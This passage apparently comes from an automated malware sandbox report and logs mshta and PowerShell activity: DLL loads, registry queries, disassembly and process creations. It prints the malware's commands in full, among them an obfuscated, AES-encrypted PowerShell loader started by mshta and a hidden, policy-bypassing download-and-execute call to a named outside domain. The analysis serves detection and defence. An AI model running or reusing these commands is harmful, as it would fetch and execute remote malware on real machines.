Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($Z));$ByTESTring = $eNC.$5i0JbyjAuxq1w2syC8nBHy6E2dFhjl9Jo19iPGiz68mBwchiWcAMIFdgIuM6C1BigrxWztkc1ltpoJyxzjE1vr83aYHbceP72RVCYl29Wo0DYCMUc7r2H3c2TPUFgK5J0F8KYw4smX8q71CMT82gf9PkIMLXvs

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://dma.sportstalk-musiclover.com/singl7.pst'))"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B7D00AD pushad ; iretd	0_2_00007FFD9B7D00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B12103D push E95B641Eh; ret	4_2_00007FFD9B121069
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B12106A push E95B641Eh; ret	4_2_00007FFD9B121069
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03178D70 pushad ; iretd	6_2_03178D71
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03178D78 push eax; iretd	6_2_03178D79
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03177DE0 push eax; ret	6_2_03177DE1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04D742BD push ebx; ret	6_2_04D742DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077BA7CA push E8CE8B71h; retf	6_2_077BA7D1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077BA7BD push 8904E871h; iretd	6_2_077BA7C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B7E47 push B276E871h; iretd	6_2_077B7E50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B9EB7 push 9208E871h; iretd	6_2_077B9EBE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B95BE push 9B01E871h; iretd	6_2_077B95C5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077BDC7A push edi; iretd	6_2_077BDC7B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077BDCE0 push edi; iretd	6_2_077BDCE1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B5B53 push D56CE871h; iretd	6_2_077B5B5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B5A64 push D65BE871h; iretd	6_2_077B5A6B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B5AE5 push D5BEE871h; iretd	6_2_077B5B08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B5AA0 push D621E871h; iretd	6_2_077B5AA5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B016C push FFFFFF8Bh; ret	6_2_077B016E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B414D push EF74E871h; iretd	6_2_077B4152
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B01B8 push FFFFFF8Bh; iretd	6_2_077B01BF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077B4065 push ebp; iretd	6_2_077B4070
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C1E58 push ss; iretd	6_2_077C1E59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C2D59 push es; iretd	6_2_077C2D6C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C5CA9 pushfd ; iretd	6_2_077C5CAA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077C504D push eax; retf	6_2_077C504E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077CA0EA pushad ; retf	6_2_077CA0EB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077D3D10 pushad ; iretd	6_2_077D3D11
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07AE21B5 push 8C089B58h; retf	6_2_07AE21CD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0043D810 push eax; mov dword ptr [esp], 707F7E0Dh	12_2_0043D812
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00443469 push ebp; iretd	12_2_0044346C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
